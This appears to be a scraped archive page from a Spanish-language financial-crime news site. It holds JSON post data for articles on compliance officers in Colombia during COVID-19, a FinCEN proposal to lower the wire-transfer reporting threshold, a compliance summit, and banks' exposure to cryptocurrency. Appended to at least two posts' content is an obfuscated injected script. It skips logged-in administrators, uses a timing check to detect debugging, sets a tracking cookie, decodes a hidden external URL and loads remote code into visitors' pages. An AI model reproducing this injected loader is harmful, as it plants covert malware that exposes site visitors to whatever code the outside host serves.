t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea 